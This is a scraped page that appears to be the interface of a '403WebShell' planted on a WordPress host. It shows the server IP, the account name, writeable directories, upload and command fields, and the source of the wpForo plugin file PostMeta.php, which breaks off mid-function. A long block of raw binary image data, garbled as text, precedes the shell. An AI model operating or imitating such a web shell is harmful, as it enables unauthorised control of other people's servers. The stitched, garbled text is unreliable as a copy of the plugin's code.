....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.29.146.187  /  Your IP : 216.73.216.61
Web Server : LiteSpeed
System : Linux premium302.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : ailwtbdh ( 734)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ailwtbdh/www/wp-content/plugins/wpforo/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ailwtbdh/www/wp-content/plugins/wpforo/classes/PostMeta.php
<?php

namespace wpforo\classes;

use stdClass;

// Exit if accessed directly
if( ! defined( 'ABSPATH' ) ) exit;

class PostMeta {
	private $default;

	public function __construct() {
		$this->init_defaults();
		$this->init_hooks();
	}

	private function init_hooks() {
		add_action( 'wpforo_after_add_topic', [ $this, 'after_add_topic' ], 10, 2 );
		add_action( 'wpforo_after_edit_topic', [ $this, 'after_edit_topic' ], 10, 3 );
		add_action( 'wpforo_after_add_post', [ $this, 'after_add_post' ], 10, 3 );
		add_action( 'wpforo_after_edit_post', [ $this, 'after_edit_post' ], 10, 4 );
		add_action( 'wpforo_after_move_topic', [ $this, 'after_move_topic' ], 10, 2 );
		add_action( 'wpforo_after_merge_topic', [ $this, 'after_merge_topic' ], 10, 3 );
		add_action( 'wpforo_after_delete_post', [ $this, 'after_delete_post' ] );
		add_action( 'wpforo_post_status_update', [ $this, 'after_post_status_update' ], 10, 2 );
		add_action( 'wpforo_topic_private_update', [ $this, 'after_topic_private_update' ], 10, 2 );
		add_action( 'wpforo_after_is_first_post_update', [ $this, 'after_is_first_post_update' ], 10, 2 );
	}

	private function init_defaults() {
		$this->default                  = new stdClass();
		$this->default->postmeta        = [
			'metaid'        => 0,
			'postid'        => 0,
			'metakey'       => '',
			'metavalue'     => '',
			'forumid'       => 0,
			'topicid'       => 0,
			'status'        => 0,
			'private'       => 0,
			'is_first_post' => 0,
		];
		$this->default->postmeta_format = [
			'metaid'        => '%d',
			'postid'        => '%d',
			'metakey'       => '%s',
			'metavalue'     => '%s',
			'forumid'       => '%d',
			'topicid'       => '%d',
			'status'        => '%d',
			'private'       => '%d',
			'is_first_post' => '%d',
		];
		$this->default->sql_select_args = [
			'include'            => [],
			'exclude'            => [],
			'postids_include'    => [],
			'postids_exclude'    => [],
			'metakeys_include'   => [],
			'metakeys_exclude'   => [],
			'metavalues_include' => [],
			'metavalues_exclude' => [],
			'metavalue_like'     => null,
			'metavalue_notlike'  => null,
			'forumids_include'   => [],
			'forumids_exclude'   => [],
			'topicids_include'   => [],
			'topicids_exclude'   => [],
			'is_first_post'      => null,
			'status'             => null,
			'private'            => null,
			'orderby'            => null,
			'offset'             => null,
			'row_count'          => null,
		];
	}

	public function fix_postmeta( $postmeta ) {
		$postmeta              = wpforo_array_args_cast_and_merge( $postmeta, $this->default->postmeta );
		$postmeta['metavalue'] = wpforo_is_json( $postmeta['metavalue'] ) ? json_decode( $postmeta['metavalue'], true ) : $postmeta['metavalue'];

		return $postmeta;
	}

	/**
	 * @param array $postmeta
	 *
	 * @return bool|int
	 */
	public function add( $postmeta ) {
		if( ! wpfval( $postmeta, 'postid' ) || ! wpfval( $postmeta, 'metakey' ) ) return false;

		if( ! wpfkey( $postmeta, 'topicid' ) || ! wpfkey( $postmeta, 'forumid' ) || ! wpfkey( $postmeta, 'status' ) || ! wpfkey( $postmeta, 'private' ) || ! wpfkey( $postmeta, 'is_first_post' ) ) {
			if( ! $post = WPF()->post->get_post( $postmeta['postid'], false ) ) return false;
			$postmeta['topicid']       = wpforo_bigintval( wpfval( $post, 'topicid' ) );
			$postmeta['forumid']       = intval( wpfval( $post, 'forumid' ) );
			$postmeta['status']        = intval( wpfval( $post, 'status' ) );
			$postmeta['private']       = intval( wpfval( $post, 'private' ) );
			$postmeta['is_first_post'] = intval( wpfval( $post, 'is_first_post' ) );
		}

		$postmeta = wpforo_array_args_cast_and_merge( (array) $postmeta, $this->default->postmeta );
		unset( $postmeta['metaid'] );

		if( is_null( $postmeta['metavalue'] ) ) $postmeta['metavalue'] = '';
		$postmeta['metavalue'] = wp_unslash( $postmeta['metavalue'] );
		if( ! is_scalar( $postmeta['metavalue'] ) ) $postmeta['metavalue'] = wp_json_encode( (array) $postmeta['metavalue'] );

		$postmeta = wpforo_array_ordered_intersect_key( $postmeta, $this->default->postmeta_format );
		if( WPF()->db->insert(
			WPF()->tables->postmeta,
			$postmeta,
			wpforo_array_ordered_intersect_key( $this->default->postmeta_format, $postmeta )
		) ) {
			$metaid = WPF()->db->insert_id;
			do_action( 'wpforo_after_add_postmeta', $postmeta, $metaid );
			return $metaid;
		}

		return false;
	}

	/**
	 * @param array $postmeta
	 * @param array|int $where
	 *
	 * @return bool
	 */
	public function edit( $postmeta, $where ) {
		if( empty( $postmeta ) || empty( $where ) ) return false;
		if( wpforo_is_id( $where ) ) $where = [ 'metaid' => $where ];
		$postmeta = (array) $postmeta;
		$where    = (array) $where;

		if( wpfkey( $postmeta, 'metavalue' ) ) {
			if( is_null( $postmeta['metavalue'] ) ) $postmeta['metavalue'] = '';
			$postmeta['metavalue'] = wp_unslash( $postmeta['metavalue'] );
			if( ! is_scalar( $postmeta['metavalue'] ) ) $postmeta['metavalue'] = wp_json_encode( (array) $postmeta['metavalue'] );
		}

		$postmeta = wpforo_array_ordered_intersect_key( $postmeta, $this->default->postmeta_format );
		$where    = wpforo_array_ordered_intersect_key( $where, $this->default->postmeta_format );
		if( false !== WPF()->db->update(
				WPF()->tables->postmeta,
				$postmeta,
				$where,
				wpforo_array_ordered_intersect_key( $this->default->postmeta_format, $postmeta ),
				wpforo_array_ordered_intersect_key( $this->default->postmeta_format, $where )
			) ) {
			do_action( 'wpforo_after_edit_postmeta', $postmeta, $where );
			return true;
		}

		return false;
	}

	/**
	 * @param array|int $where
	 *
	 * @return bool
	 */
	public function delete( $where ) {
		if( empty( $where ) ) return false;
		if( wpforo_is_id( $where ) ) $where = [ 'metaid' => $where ];
		$where = (array) $where;

		$where = wpforo_array_ordered_intersect_key( $where, $this->default->postmeta_format );
		if( false !== WPF()->db->delete(
				WPF()->tables->postmeta,
				$where,
				wpforo_array_ordered_intersect_key( $this->default->postmeta_format, $where )
			) ) {
			do_action( 'wpforo_after_delete_postmeta', $where );
			return true;
		}

		return false;
	}

	private function parse_args( $args ) {
		$args                       = wpforo_parse_args( $args, $this->default->sql_select_args );
		$args                       = wpforo_array_ordered_intersect_key( $args, $this->default->sql_select_args );
		$args['include']            = wpforo_parse_args( $args['include'] );
		$args['exclude']            = wpforo_parse_args( $args['exclude'] );
		$args['postids_include']    = wpforo_parse_args( $args['postids_include'] );
		$args['postids_exclude']    = wpforo_parse_args( $args['postids_exclude'] );
		$args['metakeys_include']   = wpforo_parse_args( $args['metakeys_include'] );
		$args['metakeys_exclude']   = wpforo_parse_args( $args['metakeys_exclude'] );
		$args['metavalues_include'] = wpforo_parse_args( $args['metavalues_include'] );
		$args['metavalues_exclude'] = wpforo_parse_args( $args['metavalues_exclude'] );
		$args['forumids_include']   = wpforo_parse_args( $args['forumids_include'] );
		$args['forumids_exclude']   = wpforo_parse_args( $args['forumids_exclude'] );
		$args['topicids_include']   = wpforo_parse_args( $args['topicids_include'] );
		$args['topicids_exclude']   = wpforo_parse_args( $args['topicids_exclude'] );

		return $args;
	}

	private function build_sql_select( $args, $select = '' ) {
		$args = $this->parse_args( $args );
		if( ! $select ) $select = '*';

		$wheres = [];

		if( ! is_null( $args['is_first_post'] ) ) $wheres[] = "`is_first_post` = '" . intval( $args['is_first_post'] ) . "'";
		if( ! is_null( $args['status'] ) ) $wheres[] = "`status` = '" . intval( $args['status'] ) . "'";
		if( ! is_null( $args['private'] ) ) $wheres[] = "`private` = " . intval( $args['private'] );

		if( ! empty( $args['include'] ) ) $wheres[] = "`metaid` IN(" . implode( ',', array_map( 'wpforo_bigintval', $args['include'] ) ) . ")";
		if( ! empty( $args['exclude'] ) ) $wheres[] = "`metaid` NOT IN(" . implode( ',', array_map( 'wpforo_bigintval', $args['exclude'] ) ) . ")";

		if( ! empty( $args['postids_include'] ) ) $wheres[] = "`postid` IN(" . implode( ',', array_map( 'wpforo_bigintval', $args['postids_include'] ) ) . ")";
		if( ! empty( $args['postids_exclude'] ) ) $wheres[] = "`postid` NOT IN(" . implode( ',', array_map( 'wpforo_bigintval', $args['postids_exclude'] ) ) . ")";

		if( ! empty( $args['metakeys_include'] ) ) $wheres[] = "`metakey` IN('" . implode( "','", array_map( 'trim', $args['metakeys_include'] ) ) . "')";
		if( ! empty( $args['metakeys_exclude'] ) ) $wheres[] = "`metakey` NOT IN('" . implode( "','", array_map( 'trim', $args['metakeys_exclude'] ) ) . "')";

		if( ! empty( $args['metavalues_include'] ) ) $wheres[] = "`metavalue` IN('" . implode( "','", array_map( 'trim', $args['metavalues_include'] ) ) . "')";
		if( ! empty( $args['metavalues_exclude'] ) ) $wheres[] = "`metavalue` NOT IN('" . implode( "','", array_map( 'trim', $args['metavalues_exclude'] ) ) . "')";

		if( ! is_null( $args['metavalue_like'] ) ) $wheres[] = "`metavalue` LIKE '" . esc_sql( $args['metavalue_like'] ) . "'";
		if( ! is_null( $args['metavalue_notlike'] ) ) $wheres[] = "`metavalue` NOT LIKE '" . esc_sql( $args['metavalue_notlike'] ) . "'";

		if( ! empty( $args['forumids_include'] ) ) $wheres[] = "`forumid` IN(" . implode( ',', array_map( 'intval', $args['forumids_include'] ) ) . ")";
		if( ! empty( $args['forumids_exclude'] ) ) $wheres[] = "`forumid` NOT IN(" . implode( ',', array_map( 'intval', $args['forumids_exclude'] ) ) . ")";

		if( ! empty( $args['topicids_include'] ) ) $wheres[] = "`topicid` IN(" . implode( ',', array_map( 'wpforo_bigintval', $args['topicids_include'] ) ) . ")";
		if( ! empty( $args['topicids_exclude'] ) ) $wheres[] = "`topicid` NOT IN(" . implode( ',', array_map( 'wpforo_bigintval', $args['topicids_exclude'] ) ) . ")";

		$sql = "SELECT $select FROM " . WPF()->tables->postmeta;
		if( $wheres ) $sql .= " WHERE " . implode( " AND ", $wheres );
		if( $args['orderby'] ) $sql .= " ORDER BY " . $args['orderby'];
		if( $args['row_count'] ) $sql .= " LIMIT " . wpforo_bigintval( $args['offset'] ) . "," . wpforo_bigintval( $args['row_count'] );

		return $sql;
	}

	/**
	 * @param int $metaid
	 *
	 * @return array|mixed
	 */
	public function get_postmeta_by_id( $metaid ) {
		if( ! $metaid = wpforo_bigintval( $metaid ) ) return null;

		$key = 'get_postmeta_by_id_' . $metaid;
		if( WPF()->ram_cache->exists( $key ) ) return WPF()->ram_cache->get( $key );

		if( $postmeta = (array) WPF()->db->get_row( $this->build_sql_select( [ 'include' => $metaid ] ), ARRAY_A ) ) {
			$postmeta = $this->fix_postmeta( $postmeta );
		}

		WPF()->ram_cache->set( $key, $postmeta );

		return $postmeta;
	}

	/**
	 * @param int $postid
	 * @param string $metakey
	 *
	 * @return bool
	 */
	public function exists( $postid, $metakey ) {
		if( ! $metakey || ! ( $postid = wpforo_bigintval( $postid ) ) ) return false;
		$sql = "SELECT EXISTS( 
            SELECT * FROM `" . WPF()->tables->postmeta . "` 
                WHERE `postid` = %d 
                AND `metakey` = %s 
        ) AS is_exists";

		return (bool) WPF()->db->get_var( WPF()->db->prepare( $sql, $postid, $metakey ) );
	}

	/**
	 * @param array $args
	 * @param string $field
	 *
	 * @return array
	 */
	public function get_postmetas_col( $args, $field ) {
		$args = wpforo_array_ordered_intersect_key( (array) $args, $this->default->sql_select_args );
		if( empty( $args ) ) return [];

		$key = 'get_postmetas_' . wp_json_encode( $args ) . '_' . $field;
		if( WPF()->ram_cache->exists( $key ) ) return WPF()->ram_cache->get( $key );

		$postmetas = WPF()->db->get_col( $this->build_sql_select( $args, "`$field`" ) );

		WPF()->ram_cache->set( $key, $postmetas );

		return $postmetas;
	}

	/**
	 * @param array $args
	 *
	 * @return array
	 */
	public function get_postmetas( $args ) {
		$args = wpforo_array_ordered_intersect_key( (array) $args, $this->default->sql_select_args );
		if( empty( $args ) ) return [];

		$key = 'get_postmetas_' . wp_json_encode( $args );
		if( WPF()->ram_cache->exists( $key ) ) return WPF()->ram_cache->get( $key );

		if( $postmetas = (array) WPF()->db->get_results( $this->build_sql_select( $args ), ARRAY_A ) ) {
			$postmetas = array_map( [ $this, 'fix_postmeta' ], $postmetas );
		}

		WPF()->ram_cache->set( $key, $postmetas );

		return $postmetas;
	}

	/**
	 * @param int $postid
	 * @param string|array $metakeys
	 * @param bool $single
	 *
	 * @return array|mixed|null
	 */
	public function get_postmeta( $postid, $metakeys = '', $single = false ) {
		if( ! $postid = wpforo_bigintval( $postid ) ) return null;
		$metakeys = array_filter( (array) $metakeys );

		$key = 'get_postmeta_' . $postid . '_' . wp_json_encode( $metakeys ) . '_' . $single;
		if( WPF()->ram_cache->exists( $key ) ) return WPF()->ram_cache->get( $key );

		$postmeta = null;

		$args = [
			'postids_include'  => $postid,
			'metakeys_include' => $metakeys,
			'orderby'          => '`metaid` ASC',
			'row_count'        => $single && $metakeys ? 1 : null,
		];
		if( $postmetas = $this->get_postmetas( $args ) ) {
			if( count( $metakeys ) === 1 ) {
				if( $single ) {
					$first    = current( $postmetas );
					$postmeta = $first['metavalue'];
				} else {
					$postmeta = [];
					foreach( $postmetas as $p ) $postmeta[] = $p['metavalue'];
				}
			} else {
				$postmeta = [];
				foreach( $postmetas as $p ) {
					if( $single ) {
						if( ! array_key_exists( $p['metakey'], $postmeta ) ) $postmeta[ $p['metakey'] ] = $p['metavalue'];
					} else {
						$postmeta[ $p['metakey'] ][] = $p['metavalue'];
					}
				}
			}
		}

		WPF()->ram_cache->set( $key, $postmeta );

		return $postmeta;
	}

	public function search( $args ) {
		$args = array_filter( (array) $args );
		if( ! $args ) return [];

		$selects = [];
		foreach( $args as $key => $value ) {
			if( $field = WPF()->post->get_field( $key ) ) {
				$value  = (array) $value;
				$wheres = [];
				if( in_array( $field['type'], [ 'text', 'textarea', 'email', 'search', 'tel' ] ) ) {
					foreach( $value as $v ) $wheres[] = "`metavalue` LIKE '%" . esc_sql( wp_unslash( $v ) ) . "%'";
				} elseif( $field['type'] === 'checkbox' || ( $field['type'] === 'select' && wpfval( $field, 'isMultiChoice' ) ) || ( $field['type'] === 'autocomplete' && wpfval( $field, 'isMultiChoice' ) ) ) {
					foreach( $value as $v ) {
						$v        = preg_quote( preg_quote( wp_unslash( $v ) ) );
						$wheres[] = "`metavalue` REGEXP '[\\\[,]\"" . $v . "\"[,\\\]]'";
					}
				} else {
					foreach( $value as $v ) $wheres[] = "`metavalue` LIKE '" . esc_sql( wp_unslash( $v ) ) . "'";
				}
				if( $wheres ) {
					$selects[] = "SELECT `postid`, `metakey` FROM `" . WPF()->tables->postmeta . "` 
					WHERE `metakey` = '" . esc_sql( $key ) . "' AND " . implode( ' AND ', $wheres );
				}
			}
		}

		if( $selects ) {
			$sql = "SELECT `postid`, COUNT(`postid`) AS pcount FROM
			(" . implode( ' UNION ', $selects ) . ") AS pm
			GROUP BY `postid` HAVING pcount = " . count( $selects );

			return WPF()->db->get_col( $sql );
		}

		return [];
	}

	private function delete_file( $postid, $metakey ) {
